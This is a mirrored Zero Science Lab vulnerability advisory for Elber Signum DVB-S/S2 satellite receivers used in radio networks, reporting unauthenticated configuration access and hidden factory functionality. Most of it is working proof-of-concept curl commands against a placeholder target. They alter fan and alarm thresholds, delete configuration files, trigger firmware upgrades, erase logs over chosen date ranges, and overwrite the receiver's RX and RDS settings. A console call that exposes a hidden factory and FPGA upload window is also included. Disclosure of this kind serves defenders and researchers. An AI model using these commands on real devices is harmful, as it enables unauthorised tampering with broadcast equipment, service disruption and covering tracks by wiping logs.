Share 
## https://sploitus.com/exploit?id=ZSL-2024-5815
<html><body><p>Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.999 Revision 1243
                  1.317 Revision 602
                  1.220 Revision 1250
                  1.220 Revision 1248_1249
                  1.220 Revision 597
                  1.217 Revision 1242
                  1.214 Revision 1023
                  1.193 Revision 924
                  1.175 Revision 873
                  1.166 Revision 550

Summary: The SIGNUM controller from Elber satellite equipment demodulates
one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving
256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned
and configured in 1+1 seamless switching for redundancy. Redundancy can also
be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II
audio codec, providing analog and digital outputs; moreover, itโ€™s possible
to set a data PID to be decoded and passed to the internal RDS encoder,
generating the dual MPX FM output.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5815
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5815.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&amp;fan_target=&amp;warn_temp=&amp;alarm_temp=''
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&amp;cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&amp;cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&amp;freq_offset=0&amp;mute=1&amp;sq_thresh=-90.0&amp;dec_mode=0&amp;lr_swap=0&amp;preemph=0&amp;preemph_const=0&amp;deemph=0&amp;deemph_const=1&amp;ch_lr_enable=0&amp;ch_r_gain=0.0&amp;ch_l_gain=0.0&amp;ch_adj_ctrl=0&amp;ch_lr_att=1&amp;mpxdig_att=0&amp;pilot_trim=0.0&amp;mpxdig_gain=0.0&amp;rds_trim=0.0&amp;delay_enable=0&amp;local_rds=0&amp;output_delay=0&amp;pi_code=0___&amp;mpx1_enable=1&amp;mpx2_enable=1&amp;sca1_enable=1&amp;sca2_enable=0&amp;mpx1_att=0&amp;mpx2_att=0&amp;sca1_att=0&amp;sca2_att=0&amp;mpx1_gain=0.0&amp;mpx2_gain=0.0&amp;sca1_gain=0.0&amp;sca2_gain=0.0&amp;limiter_enable=false&amp;lim_1_gain=0.0+dB&amp;lim_1_th=0.0+kHz&amp;lim_1_alpha=0.0+%25&amp;setupTime=0.0+ms&amp;holdTime=0.0+ms&amp;releaseFactor=0.0+dB%2Fsec&amp;lim_2_en=false&amp;lim_2_gain=0.0+dB&amp;lim_2_th=0.0+kHz&amp;rds_gen=false&amp;rt_PI=&amp;rt_PS=&amp;rt_plus_en=false&amp;rt_line_A=&amp;rt_line_B=&amp;rt_AF=&amp;rf_trap=0&amp;output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
&gt; cleber_show_factory_wnd()

# Etc.
</p></body></html>